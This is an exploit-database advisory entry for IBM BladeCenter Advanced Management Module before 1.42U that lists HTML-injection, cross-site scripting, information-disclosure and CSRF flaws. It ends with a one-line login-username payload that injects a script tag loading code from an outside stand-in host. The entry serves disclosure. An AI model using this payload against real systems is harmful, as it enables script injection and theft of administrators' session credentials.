IBM Bladecenter Advanced Management Module 1.42 - Login Username Cross-Site Scripting

2009-04-09T00:00:00
ID EXPLOITPACK:E8495040D23B9ACB3FA1BEBB9EBC4D3E
Type exploitpack
Reporter Henri Lindberg
Modified 2009-04-09T00:00:00

Description

IBM Bladecenter Advanced Management Module 1.42 - Login Username Cross-Site Scripting

                                        
                                            source: https://www.securityfocus.com/bid/34447/info

IBM BladeCenter Advanced Management Module is prone to the following remote vulnerabilities:

- An HTML-injection vulnerability
- A cross-site scripting vulnerability
- An information-disclosure vulnerability
- Multiple cross-site request-forgery vulnerabilities

An attacker can exploit these issues to obtain sensitive information, execute arbitrary script code, steal cookie-based authentication credentials, and perform actions as an authenticated user of the application. Other attacks are also possible.

Versions prior to BladeCenter Advanced Management Module 1.42U are vulnerable. 

For the HTML-injection issue:
username: </script><script src="//www.example.com"></script><script>